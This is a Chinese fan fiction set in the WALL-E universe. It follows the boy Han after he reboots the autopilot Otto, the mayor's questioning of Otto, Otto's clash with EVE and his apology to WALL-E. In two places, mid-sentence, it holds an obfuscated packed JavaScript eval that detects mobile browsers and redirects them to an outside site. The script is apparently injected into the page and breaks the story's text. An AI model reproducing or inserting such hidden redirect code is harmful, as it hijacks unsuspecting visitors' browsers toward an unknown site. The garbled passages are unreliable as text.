他第一次觉得从公理号回家的路如此漫长。他觉得自己都快走到半夜了,还在公理号的大厅里转。天色已经完全黑了下来,他完全没有印象自己有没有在这种黑暗度里独自走公理号。他很恐惧,但是恐惧不是来自周围的环境,而是不知道自己该如何对父母交代自己为什么那么晚回来。自己一天都没有在地表劳动,不知道谁又会向他父母告密。 他的脑海里不由自主地开始制作父母如何要开始骂他的场景。他被自己的想象吓得一哆嗦,开始跑起来。他一向对自己的体力和爆发力充满信心,但是这天觉得自己的腿无论怎么快摆动都比蜗牛还慢。而且感觉不到一会儿自己就累得半死。而正确的出口永远都与他保持一段看似很近但是怎么走都走不到的距离。就像天上的月亮一样,你如何走,它都跟着你,你如何追,都追不上。它永远跟你保持距离。 汉在心如一团乱麻中好不容易挪到了那个不乐意拥抱他的出口。雨后的冷风嗖地刮过他身上,他稍稍松了一口气。起码全程的一半已经走完了。从登舰平台望去,地面上缀满了星星点点的亮光。汉发誓他能立刻指出这些星点哪一个属于他的家。当他飞奔下去,两脚踩到湿润的泥巴的时候,一个事实突然让他浑身打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706269|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个哆嗦。 哪里走完了一半,实际上,他还有四分之三的路程要走呢。 在夜晚的寒风中汉上气不接下气地跑一段走一段,虽然地上的距离显然比船上的距离要长很多,但是奇怪的是他没有在船上那么焦虑了。也许是因为冷风?随着路过一块又一块熟悉的田地,当属于他家的灯光终于呈现在距离自己不远的前方时,他却停下了脚步。 这个时候他回家的欲望已经不怎么强烈了。他甚至害怕踏进家门。他不知道自己会面对什么。奥托对他说的他已经被发现的信息突然回放在他脑里。如果真是这样,那么这个信息估计已经在地球镇里传开了。虽然奥托告诉他自己已经发出保密指令,但是在他上线和发指令之间还是有好一段时间能让漏网之鱼钻空子的。 他听到了自己家里传出来了交谈声。其中有一些不太熟悉的嗓音。五雷轰顶。他知道自己家很少来客人,而且最近都不是什么节日,也不会有人主动找他家门。大男孩们不会对他父母告密的,他还是知道这一点。所以事实已经很清楚了。他的行为已经被发现了。 这个时候他却惊讶地发现自己并不是像想象中那样怕的要死。相反,他现在居然在慢慢地冷静下来。 他在田地里弄了些泥土涂到了裤子、袖子上,装作自己是在田里努力干活了很久的样子,然后装作筋疲力尽的样子沉重着脚步向家门走去。其实这跟事实也差得不远,经过那么一段跑他的样子也足够狼狈了。 他悄悄拧开家门,以为自己能够躲过门外听见的热火朝天的谈论,然后好好解释一番。但是立刻3双人眼的目光加2束机器人目光齐刷刷扫向他。刚刚在门外还听得好好的谈论就在他开门的一瞬间戛然而止。 当他在门外听到谈话的时候就印证了自己的推论。而现在盯着他的3个来自非亲血骨肉的面孔让他感到事情不能更糟了。 镇长,瓦力,伊芙。 “说,你小子干了什么好事?”他爸一脸怒不可遏,劈头盖脸地就朝他吼道,愤怒的脚步大幅朝他迈进。 汉连忙缩起脖子闭上眼睛。自己要挨打了。这个时候的挨打,他只祈祷自己还能活着。 事情回到2小时前。 瓦力和伊芙在雨后的黄昏中继续着他们的探索任务。现在人类已经回到地球,他们被称作探索者,专门去探索遥远的平地来寻找宜居地带。同时,他们也肩负了播种的任务,帮助人们把希望传到远方。 就在瓦力正与新发现的一串铃铛纠缠不清时,伊芙突然收到了一个上线信息。她有些疑惑这年头还有谁会上线,然后又惊又怒地发现是奥托。 从一开始起伊芙就不喜欢奥托。她会对奥托表达敬意,但是那只是出于规章流程和一点点的礼貌。尤其是奥托在她面前以如此惨无人道的方式把瓦力电成重伤后,她更是对这个恶魔唯恐避之不及。 如果我非要跟这个混蛋打正面照,我绝对会给他好看。伊芙曾经想。 伊芙沉重地敲了敲瓦力,后者疑惑地看着自己的伙伴。伊芙把这个信息告诉了瓦力。如她所料,这个黄色的小压缩机立刻颤抖着把自己缩成一个箱子。 【去找镇长。】伊芙用电子语言说。她抱起瓦力,向地球镇冲去。 过了不久之后伊芙又收到一条来自奥托的信息。这次是要求所有机器人保密他上线的信息。即使这来自她初始设定的上级,她看到这条消息后更加生气了。她选择果断违背指令。奥托太危险了。她想,这样的信息必须及早通知人类。 当他们冲进镇长的家后,伊芙尽她所有的语言能力说明白这件事情,并且请求他立刻一起去公理号的舰桥对付这个情况。但是出乎她意料的是,镇长沉吟片刻,对伊芙说这个事情明天解决,先看看是怎么回事。 镇长的家里装有舰桥的监控。他打开了全息屏,一个男孩的身影赫然出现在屏幕中。仔细看看,他离奥托非常近,手上还有微小的动作,好像正在和对面的机器人说什么。 “是他。”镇长说。”毫不意外。” “危险。”伊芙重复了这个词。”须立刻去舰桥。” 镇长却做了一个制止的动作。”我先跟他父母谈谈。”他拿着这个小接收器出了房门,这样他就能依然监视着舰桥的情况。 伊芙对这样的回应很不满意,但并没有说什么,带着瓦力跟在镇长身后出了屋子。 “诶,先别急着下手。”镇长拉住了这个暴怒的农民。”让孩子自己说怎么回事。” “还能怎么回事?不是闯祸去了还是咋的?”男人迫于情面没有继续动手了,但是狂怒依然溢于言表。 “来,说一下你今天干了什么。”镇长绕过男人,来到汉面前,非常平静地说道。 汉依然缩着肩膀,缓缓抬起头,苍白的脸对着镇长。”去了舰桥,重启了奥托。” “为什么你要重启他?”镇长依然很平静地问道。 “为了主电脑的事……”汉的声音越说越小。他不敢直视镇长的眼睛,虽然面前的人看上去并没有责怪他的意思,但谁知道下一秒会怎么样呢? 镇长身后传来一阵骚动。转头,女人正在使劲拉住自己的丈夫。后者眼中的怒火喷涌而出。 “说说奥托重启后的表现吧。”镇长转回来,继续问汉。 “我……我……”汉有答案,但他实在不敢说。因为这可能是个象征着背叛的答案。 “说吧,没事的。”镇长继续冷静地说。 汉动了几下嘴唇,咽了口口水。然后垂下目光小声说道:”我觉得他还行。” “还行是什么意思?” “……他没电我,也没骂我,什么事都没发生……” 汉不敢再说下去。 “可以了。吃饭去吧。”镇长拍拍这个男孩的肩膀,给他做了一个手势。 汉不敢相信这是真的。他迅速地抬起眼睛看了一下镇长,后者以一如既往的平静表情看了他一眼。汉迅速地溜到饭厅,从自己父亲身边呼啸而过。 镇长开了绿灯!不用挨打了。汉受宠若惊地吃着已经凉的晚饭。与此同时,也在悄悄地听着客厅的动静。 “……我们都很尊重您的决定,格兰德(Grande)先生,但是这个结果并不让我们放心。”他母亲的声音从客厅传出来。”今天总算完了,但是谁能保证后面还会出什么恶性事件?这个您也无法担保。” “没错。”镇长的声音依然平静地传到汉耳里。”所以我说,明天我们几个一起去舰桥,现在好好休息,打骂没有必要,行吗?” 门在外面关上了。这个时候汉又开始紧张了。因为父亲那阴沉的目光正盯着他步步逼近。同样,母亲也并没有表现出任何站在自己阵营的迹象。勺子不由自主地放到碗里。但父亲好像没有把压抑的怒火爆发出来,而是默默地坐到桌子旁边,开始吃饭,母亲也差不多。 整个晚饭,全家都在一种诡妙的静默中度过。 4. 三 机器人的效率还是很高的。只用了一个晚上的时间,舰桥的维修小队就已经基本上完全恢复了控制台的功能。 奥托目送他们离开舰桥,然后就亲自进行了调试。现在,控制台修好了,一堆的报错警示灯就开始在控制台上闪个不停。奥托逐个查看了故障类型,意识到这艘船的状况比他预想的更糟。舰上有不少传感线路已经失灵了,所以实际的损坏程度肯定比目前所报出来的更多。 最糟的就是主电脑的处理器机房也有损坏。奥托通过检查航行日志发现了这点。航行日志是他唯一能保证自己和主电脑各有一份完整备份的文件,所幸的是他自己的还没多大问题,说明他还不需要进行伤残等级裁定。 现在人类已经在地球上安居下来,资源已经不可能再分配太多给公理号了。所以目前考虑的就是,这艘船的什么地方需要修复完全,什么地方不用。 当奥托正在思考这个分配问题时,身后传来了脚步声。他转过来静候出现在楼梯口的来访者。 楼梯口冒出一个人头,紧随着另一个,再一个……当最后两个非人类成员出现在楼梯口时,奥托不由得暗自吃了一惊。 瓦力还在运作。 奥托不恨瓦力。如果这个小东西识相一点的话,他也不会采取如此极端的方式来对付这个箱子。但当时这个机器人的固执着实惹恼他了。自己指挥700年,还从来没有任何一个芯片正常的机器人胆敢冒犯他的权威。现在他把焦点定在那4个人类身上,而余光却没闲着,在默默记录着这两个机器人的动作。 EVE-01…… 暂且认为她听从了自己的指令,只是在自己被发现到发指令这一段空白时间太长,让她报告的可能性大大增加。她的速度太快,这无法避免。 “早上好,奥托。”汉站在3个人前面,对静默着悬挂在他们面前的红眼机器人打了声招呼。 “早上好,汉。”奥托立刻回应。 “我……我很抱歉,奥托……”汉悄悄抬起头快速瞥了一眼父亲,小声说道。 奥托没有对此回应。广角镜头中的红色光芒丝毫未变。 “昨天晚上你干了些什么呢?”镇长悠闲地朝舰桥中央踱去,很随意地问了奥托一句。他扫了一眼控制台。上面密密麻麻的灯光正在闪烁,焕发出往日的光芒。 “监督修复控制台,排除其他故障。”奥托立刻回应。 “这儿景色不错。”镇长朝面向舰外的巨大落地窗望了一眼,”你知道人类现在的情况吗?” “人类存活下来了。”奥托回应。 “没错。”镇长慢慢在舰桥中踱大圈子,他移动到了奥托身后,”那你知道自己被重启的原因吗?” “汉告诉我主电脑有你们无法解决的故障。”奥托回答。他微微转了下面盘,以便看到镇长的身影。 “他是个混蛋,他不应该被启动。”农民悄声对妻子说。后者紧紧搂着自己的丈夫,紧张地盯着蜘蛛般的红眼机器人和汉。 “我们看到了昨天发生的一切,奥托。”镇长此时回到了原地,正视这个红眼机器人,”但是有一些事情我们不明白,可否给我们解释一下?” “是什么?” “首先,当时你知不知道是谁给你上的束缚?” “不知道。虽然是汉的可能性较大。” “就是他上的。”镇长补充。”那么当时你对此有啥想法呢?” 停顿了一段时间。”困惑。”过了一会儿又补充道,”恼怒。” “那问题来了。”镇长与奥托保持了一点距离,但是一直在仔细观察这个机器人的一举一动,”你为什么不电他?” 镇长身后传来一点小小的骚动。回头,瓦力早已缩成了一个黄色箱子,正一点一点向控制台下方溜去。而伊芙虽然静静地停在那里,但是表情一直都不怎么友好。 “首先,我答应了不电他。”平声调的回答,”其次,我的电击棒坏了。” “如果他没有让你承诺,你的电击棒也没坏呢?那你还会电他吗?”镇长继续发问,”直接真实地回答,不要考虑我们的感受。” “不会。” “为什么?” “我不随便电人。” 听到这句话,农民立刻向前走了一步,指着红眼机器人就说道:”骗谁呢,你以为我们不知道那天你是怎么打算对待船长的?!” 伊芙此时的电子屏彻底变成了极其生气的表情。这种谎言太令她难以忍受了。 “看起来大家都不信任你。”镇长瞧了一眼高举反对票的两个个体,可能还有2个,”你有什么辩词吗?” 这下奥托才有了一点身体语言。他发出了一声短促的、低沉的像老鸬鹚叫的电子音。这次过了好一会儿,他才开口了。 “我没有辩词。”这次说话有调子了,似乎说带调子的话和长句子对他而言有点困难,”如果你们要指控我这个,那请便。” 如果放在100多年前还在太空上游荡的时候,奥托估计就得加上一句”这场对话再也没有意义,再见。”并立刻背对着这群人。但是今天他克制住了这种冲动,继续悬在原地等待对方回应。 汉有些紧张地看着镇长和奥托。对话越来越尖锐了,从奥托的变化来看,他显然已经被问出了情绪。如果镇长再问下去,他恐怕就不会像昨天那样和蔼了。 “瓦力和伊芙现在也在这里,奥托。”镇长有意地指向两个机器人,”他们是我们公认的直接受害者。也许我们需要好好交流一下,这样说不定能让我们对你的印象改观。但假如你拒绝继续交流的话,可能会加深我们之间的误解。” “同意。”奥托恢复了平声调。 “那么我们需要下去舰长室私底下谈一谈,也给你们3个谈判的时间,你们认为可否?” 这次伊芙倒是没有首先表态,瓦力立刻向后滑得更远,并且开始发抖。 镇长看着奥托,耸耸肩。 “我……承诺不会伤害你们。”奥托僵硬地说道。他本想提出让伊芙管好自己的枪的请求,但是没有说出来。 “太好了。祝你们谈得愉快。”镇长相当于下了个命令。4个人类走下了阶梯。 汉最后一个下去,他走进楼梯口时回头看了一眼由他亲手启动的机器人。汉实在不想让奥托因为又发生了恶性事件而被关闭。况且他现在已经是手无寸铁。 楼梯口的门关闭之后,3个在舰桥的机器人面面相觑,伊芙憋了一肚子的火,但是不知为何,怎么都发不出来。 别看他们3个说英语说得贼蹩脚,但一旦用上了电子语言和通讯系统,两个公理号成员都是水神级别的大侠。而另一个留守成员,如果把他拉进了公理号通讯网络,恐怕也会迅速成为水军指挥师。 【你……】过了好久,伊芙才在网络里说了这么一个词。 【我还想问你呢,为什么你不执行我的保密指令?】奥托质问伊芙道。 【我为什么要执行你的指令?现在我已经脱离你的管辖,我有权利选择我认为是不是正义的指令来执行。】伊芙不甘示弱。 【哟,啥时候你脱离我管辖了?】奥托用辞吃惊不已,而且很恼怒,【而且你咋知道这指令是不正义的?】 【你要是清白的干嘛要藏着自己啊?这明摆着就是做贼心虚。】 【你们这是在给我找麻烦。】奥托回应。【拜托你们有啥疑问别自作主张,出来问我一句为什么,我又不吃人。】 【说得倒好,你能控制得了自己么?】伊芙轻蔑地回了一句。 【又是“降落日”?】 【对啊,镇长不是说了么,让我们就此问题“好好谈判”】 【这有什么好谈判的,事实都摆在那里。】 【嘿我说你们,吵架能不能私下里吵?!】突然一个机器人插了一句进来。 奥托马上切换到近距离连接。 【非常聪明哦,说我脑子进水了,来找借口植物本来就没有。】伊芙正式开始攻击。 【……继续】 “……”伊芙以为奥托会反驳,结果没想到他回应了这个。【然后你还指使那个小子毁掉植物。暂且不说你差点让瓦力送了命,你有考虑过我的指令吗?】 【……继续】 【我的指令是保存植物并且送到舰长那里,但是你做了什么?破坏我的逻辑行为,而且封堵我的指令路线。对啊,对我来说这是不能忍受的,你明明知道这个还让我承受这些?】 【……】 【对他,你也是毫无人性。他根本听不懂你在讲什么,你就把他往死里电,难道凭你的智商就只会放电了么?】 【……】 【还有你居然企图伤害舰长!这是极端的以下犯上!舰长执意要回来,你无论如何都得遵从他的命令!】 【伊芙,如果他们回来了活不成。】 【现在呢?打脸了吧?】 【……】奥托回应,【说完没?】 伊芙感到自己的猜测被证实了。【别以为我们没猜出来你到底为啥那么想留在太空。难道这中间没有你不能下船的原因吗?回来之后你只能待在舰桥,然后你就会被抛弃,所以你不希望船回来,对不?】 【不对。】 【不对?】伊芙不信。 【不对。】奥托回答,【还有没有?】 “……”尽管气得脸都歪了,但是伊芙极其恼怒地发现现在她已经没话说了。她完全没有预料到这次谈话居然会是她的独台戏。 【看起来你说完了。】隔了半分钟后,奥托回复。【那么从第一条开始解决你的疑惑。】 【您说。】伊芙没好气地回应。既然奥托玩的是掏心战术,那她何尝不应战? 【首先,你的记忆确实有错。】奥托回复。 “!”伊芙立刻抽出了离子枪。【我没有篡改记忆!】 【你的记忆显示的植物来源有误。】奥托不动声色地回答,他悄悄加大了连接在所有轴承上电机的功率,准备随时应对伊芙的离子枪。 【不管怎么说,我找到植物了。这就证明地球生态恢复了,人类能活得成。】 “……”奥托止住了冲口而出的反驳,决定还是按计划进行。【其次,你的指令,我有考虑,但是与全人类的生存相比,这不重要。】 很好。伊芙默默想道。果然这家伙秉性不改,还把自己包装得很高尚。 【然后,当时电他,是最符合逻辑的选择。】奥托盯了瓦力一眼,后者几乎被惊得一跳。 伊芙立刻举起枪对准奥托的单镜头。【你的逻辑,才是最大的错误。】 【放下。】奥托冷冷回应。【解释一下,哪儿错了?】 【如果像你说的,人类回来了活不成,那么今天这样是怎么回事?】伊芙稍稍降低了枪口的高度,但是依然对着奥托。 【错不在我的逻辑,而是你的记忆和那棵植物。】奥托回应。【你的记忆显示黄尘漫漫,垃圾遍地,污水横流,那棵植物都不是被发现在该长的地方,这一切的迹象都显示地球还是死气沉沉。我只能判断并没有恢复生态。】 【如果没有一定的恢复为什么那些人类能活到现在?】伊芙重复了一遍问题,逼近了奥托。 【把时间倒回,伊芙。】奥托稍稍后退一点,【你自己算算,通过你的记忆,人类回来后能够存活的概率是多少?】 【很大。】伊芙回答,【你有看过氧含量吗?完全达到不用戴面罩的标准。】 【那么人类生存还有什么条件?】奥托故意反问伊芙。人类生存的条件绝对不只是氧含量一条就能解决的,通过700年对飞船的管理,奥托深谙其道。他迅速地查看了当天对伊芙扫描所得来的结果,确定除了氧含量上升之外,地球的各项指标都远远达不到要求。伊芙绝对驳不倒他。 伊芙知道这是一个死胡同,而她坚持回地球的原因到最后就不单纯是指令作祟了,这她也很清楚,但她更不想让奥托发现这个后来的原因是什么。所以她决定让棋,【你赢了。】 【下一个,关于船长的问题。】奥托继续了,【A113指令说得很明白,‘优先级’‘全面控制’,‘不要回来’。我知道你也看了那个文件,不要告诉我你不懂这些词的意思。】 停顿了很久。 【你是个傻瓜。】伊芙终于开口了。【你这样高级的人工智能,难道就判断不出来这个指令终有一天会失效吗?而这一天一定存在!】 【这一天没到。】奥托有些烦了,【不要再用现在的结论推断过去!】 【我的意思是,】伊芙盯着奥托,【你就不会先判断这个指令是正确还是错误就执行?】 这次奥托顿了一下。【你认为这个指令是错的?】 【终于听明白了。】伊芙不无讽刺地说,【你自己想想,要你一直停留在太空中,船上的资源一直在消耗而没有补充,等飞船的资源消耗干净之后,人类只有灭亡。而且,让你这样的死脑筋掌控整艘飞船,怕不是给公理号乘客判死缓哦。】 【不是这样。】听完伊芙的话之后,奥托立刻回复。 【如果飞船资源的消耗早于我带回植物,或者我带回的植物被你误判然后资源很快消耗殆尽,这算在谁头上?】 【如果地球确实宜居,植物就不应该是一棵两棵,而是成片。派出的EVE型号探测器遍布全球,不可能就一个带回来标本。假如一次我错判,下一次还带回了植物就会立刻更正结论。】奥托回答,【而且公理号的资源在2805年的时候尚充裕。】 【我不关心这个。】 【那是你的问题。】奥托冷冷回答。【我的逻辑没有错误。】 【你的逻辑肯定有错。】尽管这是无声的线上对话,伊芙仍然盯着奥托。【你就从来不会老老实实承认自己错了。】 【请你指出。】伊芙如此固执地认为他有问题,让奥托失去了这场谈话的进一步兴致,虽然他一开始就没什么兴致。 【我一时确实难以找出,我不是程序方面的专家。】伊芙说,【但如果你的逻辑没错,为什么那么多人都认为你有很大问题?】 【共识又不等同于真相。】奥托甩下几个单词,他不愿多解释。 伊芙的脸色很难看。她本来就有一肚子的火,结果奥托的防线实在太牢固了,使她根本无法痛痛快快地发出来。 【你电了瓦力,这是错的。你要电船长,这是错的!】 【我告诉你原因了。】 伊芙差一点就要亮出瓦力在她心中的重要性这张王牌了,但她强忍住没抛出来,不能让奥托发现她这种反常表现的根本原因。【……至于植物,我们刚到地球没多久之后,的确在一处潮湿背阳的斜坡上发现了成片的植物。】 【那跟我有没有问题有什么关系?】奥托反问。 伊芙简直气炸了。 她也是有私心的,从自己看了自己进入待机状态后的监控录像之后,她对这个黄色压缩机的态度终于改变了。她终于知道了瓦力是多么关心她,她突然明白了那个握手的含义。 她突然感到自己应该好好保护瓦力,珍惜他,就像他当时不分昼夜守护在自己身边一样。 这个义务代码很快变成了她给自己的指令,这个指令的重要性甚至超过了她的初始设定指令:找到植物报告上级。 所以当她看到瓦力被电之后,自己也仿佛遭受着电击。当她明白瓦力费尽心思用残存的能量以打火机和自己的镜筒提示她,只有回地球才能找到他的零件之后,植物只不过是回地球执念的幌子而已。 奥托知道这个幌子吗?伊芙无法判断。但她知道,这绝对是她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706270|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把柄。 是我的问题就是我的问题吧。伊芙强硬地用意志力把自己的回路扭转过来。至少他认为这个问题是我没有提供好正确信息,只是工作上的失误而已,没有涉及到因私叛变。奥托对这两者的态度还是有一些差别的。 伊芙停下了吵架,通讯网络和舰桥都是尴尬的寂静。 瓦力虽然无法知晓伊芙与奥托无声的唇枪舌战,但他从两者细微的动作变化察觉到刚刚一定发生了什么。他看着刚刚镜头鲜红得可怕的奥托现在恢复到毫无情感流露的状态,再看看伊芙一脸气愤的表情,他害怕奥托用什么方法伤了伊芙的心,不由得从控制台下面滑了出来,小心翼翼地朝伊芙接近,边接近边警惕地看着奥托。 显然奥托已经发现这个黄色小箱子的动作了。他微微转了个角度,面向瓦力,后者立刻一顿,然后迅速缩成颤抖的箱子。 【伊芙,你不介意我跟他谈谈吧。】奥托突然转了个话题。【我欠他一个交代。】 伊芙惊异于奥托的口气突然软了下来。这太不寻常了。尽管如此,伊芙还是向自己的伴侣简单解释了一下,鼓励他不要退缩。 瓦力被伊芙陪伴着颤抖地滑到奥托面前,后者将自己的海拔降了下来。 “通讯代码请求。”平调的公式化语气。往常奥托会自己给对方进行扫描直接获取代码,但今天他不这样做来表现得友好一些。 “ER-4……272……”瓦力颤抖地说出这串代码。 他刚刚说完,系统就收到通讯网络添加成功的信息。海量的交谈声迅速飞流过自己的处理器。他感到熟悉的惊奇感从情感模块中产生,就和当年他刚刚进入公理号,看到通道中的车水马龙一样。 而在这片信息之海中,瓦力听不清任何一个声音,只是知道有很多嘈杂。 他突然听清了一个声音。 【欢迎来到公理号之家。】 瓦力过了好一会儿才反应过来这是面前的红眼机器人发的。在做了若干尝试之后,他总算成功发出去一条信息。 【呃?】 【致歉,瓦力。】奥托兑现了自己的诺言。 【呃……呃?】瓦力有点没反应过来。 【他向你道歉呢,小呆瓜。】伊芙无奈地给瓦力解释,又不失愠怒地对奥托说,【你让他听懂行不行】 奥托什么都没说,只是丢给瓦力一个电子语言的安装包。直到这个时候,瓦力才放下了防备。 【今天的你很不寻常啊,老大。】因为奥托并没有私发瓦力,很多机器人都能查看到奥托刚刚发送的道歉。【之前从未见过你公开道歉。】 【我之前没有道歉的需要。】 是个情商高一点的机器人都知道这个回答非常圆滑。但谁也没挑明。老大好面子,这是公理号上的机器人皆知的事实。 通讯网络中立刻掀起一股数据大潮,欢迎的招呼、热情的邀请、属于机器人的表达笑的符号把瓦力淹没了。 瓦力在这个新的虚拟世界已经应接不暇了。奥托重新转向伊芙。 【还有啥要说的?】 虽然伊芙已经为奥托刚刚的行为消气了不少,但伊芙也是个好强的家伙。她不承认就这样完事了。自己一开始所设想奥托的”招待”现在一个都没出现,自己的”好看”也一个没用上,这个情况让她始料不及。 正当她要说什么的时候,楼梯口出现了脚步声。转身,四个人类上来了。 汉仔细看了看这3个机器人,舒了口气。还好,都看上去好好的,没有出什么岔子。 “谈得怎么样?”镇长对他们3个说道。 奥托和伊芙对视了一下,伊芙轻哼一声,把面屏转开了。 “调解完毕。”平声调的报告。 镇长看到了伊芙的表现,他抛给奥托一个怀疑的眼神,但是没有对此作评论。 “我们在底下谈了,决定是:由于你对主电脑的维修有决定性作用,我们暂时不会对你采取强制性措施。但是这个取决于你的表现。时间暂定为一个月。如果表现不错,意思是你没有被投诉到有任何攻击性行为及有不良打算,那么时间可以酌情延长。”镇长说。 “感谢您的决定,长官。”立刻回答。 镇长并没有离开舰桥的意思。相反,他走向奥托,停在他面前的不远处。汉茫然地看着镇长的行为。 “其实我知道,这件事情迟早就要发生。”镇长看了奥托一眼,后者一动不动,”我本来打算这个季度作业完成后就上来解决你的事情,然后这个男孩帮了我的忙。” 农民夫妇惊得目瞪口呆。他们没有想到镇长居然已经打算这么做了。 伊芙表面上没什么表情,但处理器中还是闪过一丝惊异。 “汉说得没错,主电脑的事不能再拖了。现在机房锈得很厉害,如果我们再不重启他,数据就要丢得更多。如果我不这样做,我不知道在我任期之外,还有没有人能这样做。所以,请原谅我。”镇长对愣在对面的夫妇俩说。 “好吧,我们知道您这样做有合理的理由,但您得跟地球镇里的人说明白,因为不是所有人都像我们一样讲道理。”女人说话了。 “这个现在讲操之过急,因为这并不是在我的计划内。”镇长说,”我希望你们能帮助他保密,行吗?修理电脑要紧,现在不是引起公愤的时候。时间到了,我自然会宣布的。” 农民夫妇默默点了点头。 镇长对他们做了一个可以离开的手势,农民夫妇走向了楼梯口。伊芙看了镇长一眼,抱起正在发木的瓦力也飞了出去。 【让他注意点,省得把自己主板烧了。】奥托见瓦力木在那里,在内线里对伊芙加上一句。他没有挑明这是指什么。这其实也是让很多人和机器人讨厌的一点。 舰桥里剩下了镇长、汉和奥托。 “说说你的维修计划吧。”镇长对奥托问道。 “尽力修复主电脑的功能,将尚未损坏的数据全部拷出,然后尝试补上其他数据漏洞。” 镇长微微点头。”需要多长时间呢?” 奥托顿了很久。”至少需要3个月。”他终于回答。 “至于其他系统,你有什么打算吗?”镇长十分冷静地看着奥托。 这次奥托又暂停了好久。这就是他正在思考的问题,然而他还没有答案。”……暂无方案……”他说,”有所建议?” 镇长微微一笑。”很好,接下来3个月,我有时间就会上来,需要你告诉我公理号所有系统的功能与现状,然后我们再讨论,可否同意?” “同意。” 镇长对此答案很满意。笑容越来越明显。”你跟他看上去很合得来。而且他的空闲时间远远多于我,所以以后你们相处的时间估计会比我多。”镇长对奥托说,”在你们碰面的时候,我希望你多告诉他一些东西,他是个聪明的孩子。” “同意。” 镇长拍拍汉的肩膀,”干得不错。”他笑着对汉说。然后转身,也走向了楼梯口。 汉看着镇长消失在楼梯口后,一脸惊奇地转头回来看着奥托。 现在是在做梦吗?汉简直不能相信自己。事情解决了!居然没有任何冲突!他的担心现在已经灰飞烟灭了,而且比他想象的还要好上许多。 “嘿,你完全没有传说中的那么可怕嘛。”汉兴奋地对奥托说,”你知道吗,从昨天直到刚刚都几乎把我吓死了。你可千万别让他们再把你关了。” “希望如此。”奥托给出这个模棱两可的回答。 汉对奥托露出了灿烂的笑容,就像现在照进舰桥里的阳光一样灿烂。奥托感到久未使用的情感模块中涌过一丝电流。上一次看见人类对他笑是什么时候呢?奥托陷入了沉思。 许久之后,伊芙才回复了奥托。 【咱们这事没完。】 5. 四 经过半个月的阴雨绵绵,阳光终于重新照在了这个海湾。早晨的海面幽深沉寂,还有轻雾笼罩着;但朝霞过后,初春的海面就像明镜一般澄清,碧蓝的色彩随着阳光的增强也愈加明快。令人难以置信一百五十年前这儿还是又光秃秃又散发着刺鼻气味的干涸土地。 几艘帆船开始从薄雾中探出身影,随着雾气的散去,帆船白色的帆在阳光下一闪一闪地反着光。远远望去,船的尾迹在平静的海面上刻出一道道弯曲的轻痕,许久不散。 时间似乎在这一刻停止了。 海边随意长着纤细的树,都是生机勃勃的新生命。它们站成了迎宾队伍,接受着第一缕阳光的沐浴。 沧海桑田,靠的就是那些小小的绿色生物吗?非常不可思议。 整个地球镇几乎全部被绿色覆盖着,公理号也豪不例外。从舰桥的舷窗望出去,半个舷窗都被藤蔓覆盖了,在阳光的照耀下在舰桥内投射出一片又一片的阴影。冬天的时候这些藤蔓的叶子枯黄干瘪,好似彻底失去了它们的生机。但随着冬天的离去,这些藤蔓正在以可见的速度恢复自己的挺拔,枯黄的叶子也完成了它们的使命,正在大片大片地掉落,没有雨水冲刷的时候,这些叶子就粘在公理号的舷窗上,枯黄发黑的一大片,只留下一丝丝杂乱的缝隙可以看到外面阴雨连绵的大片朦胧绿色。而终于等到这些枯叶子被风雨洗掉的时候,重新看到的藤蔓就不知道什么时候已经挂上了嫩黄色的叶芽,有些已经展开的新叶伸展着自己泛着油光的、薄薄的身躯,在微风中恣意舞动。 跟公理号数据中的描述不太一样。叶子不是秋天落的吗? 这三个月中,奥托首先将主电脑的数据全部拷进了备用的光片(Petabyte tablet)里。在与镇长讨论过后,奥托修复了公理号的监控设施,加固了核反应堆,并且极其谨慎地一步一步修补着主电脑。目前来看,除去控制光照、发动机等功能,主电脑已经基本恢复了对飞船其他部分的响应能力。毕竟以目前人类的情况看,不需要。 奥托在一开始拷入数据的过程中就发现了不少数据出现了比较大的缺口。目前来看,公理号本身各个部门的运行记录如果有缺口的话倒是不需要修补。重要的是升空之前便已存储的地球知识库需要保持完整。但是面对这份残缺的知识库,他知道修补这些数据只有两种办法:其一是向其他星舰发送备份传递请求,其二是自行通过实践经验补充完整。 第二种方法毫无疑问非常荒谬。可是第一种办法同样希望渺茫。在太空中的时候公理号不止一次发出大功率的联络信号,但收到回信的次数可以忽略不计。目前飞船滞留在地上,他不知道这个信号能不能突破到太空,被哪怕只有一艘BNL的飞船收到。 尽管如此,他还是开启了超远距信号发射系统。他不知道从内而外功率微微升高的声音有没有穿透到平原上。不过似乎没有人将这个可能的动静当成什么东西要起飞的声音。传输完成后他感到有什么东西空了。什么都做不了,唯一的希望就是等到那渺茫的回音。 汉的父母虽然不懂科技,但至少人品不错。他们没有告诉任何人有关奥托的事情。直到在丰收庆典上,镇长在众人面前宣布了他已被重启的事,奥托的存在才被地球镇人知道。当时虽然有人非常激动,但镇长让他们陈述原因时,几乎都只是出于对祖训的尊重。镇长早已把它考虑进去,他镇定地解释了这个事情,并且让伊芙和瓦力作证确实已经没危险了。伊芙和瓦力的肯定回答立刻让人们冷静下来。 整个过程,奥托都通过镇长悄悄放在庆典旁边的一台小录像机一刻不落地看了下来。 然后事情就这样结束了。竟然没有别的人上来舰桥探访他。在得知他不会做任何威胁人类的事情之后,人们该干嘛还干嘛,这个新闻很快就失去了爆炸性。 